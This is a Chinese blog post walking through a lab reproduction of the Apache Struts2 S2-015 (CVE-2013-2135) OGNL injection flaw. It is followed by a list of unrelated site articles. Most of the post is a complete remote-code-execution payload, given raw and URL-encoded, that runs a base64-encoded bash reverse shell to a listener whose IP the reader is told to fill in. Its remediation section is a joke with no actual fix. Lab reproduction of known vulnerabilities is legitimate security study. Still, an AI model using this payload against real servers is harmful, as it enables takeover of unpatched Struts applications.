[漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

一、漏洞情况分析

2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。

二、漏洞复现

春秋云境.com

进入靶场

开始复现

构造好payload,弹nc

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action

就构造好的payload,url编码

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action

接入我们的ip后面,同时本地打开nc监听

三、漏洞处置建议 

把靶场关了,跟漏洞说“白白吧

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-25 06:22:04       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-25 06:22:04       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-25 06:22:04       82 阅读
  4. Python语言-面向对象

    2024-01-25 06:22:04       91 阅读

热门阅读

  1. tomcat与Apache---一起学习吧之服务器

    2024-01-25 06:22:04       61 阅读
  2. 网络原理——应用层

    2024-01-25 06:22:04       43 阅读
  3. freeswitch中通过嵌入式脚本监听会议事件

    2024-01-25 06:22:04       50 阅读
  4. 多旋翼无人机调试问题分析

    2024-01-25 06:22:04       59 阅读
  5. python基础 - 变量

    2024-01-25 06:22:04       49 阅读
  6. 前端常见安全问题以及解决方案汇总

    2024-01-25 06:22:04       53 阅读
  7. 机器学习 -- 支持向量机

    2024-01-25 06:22:04       55 阅读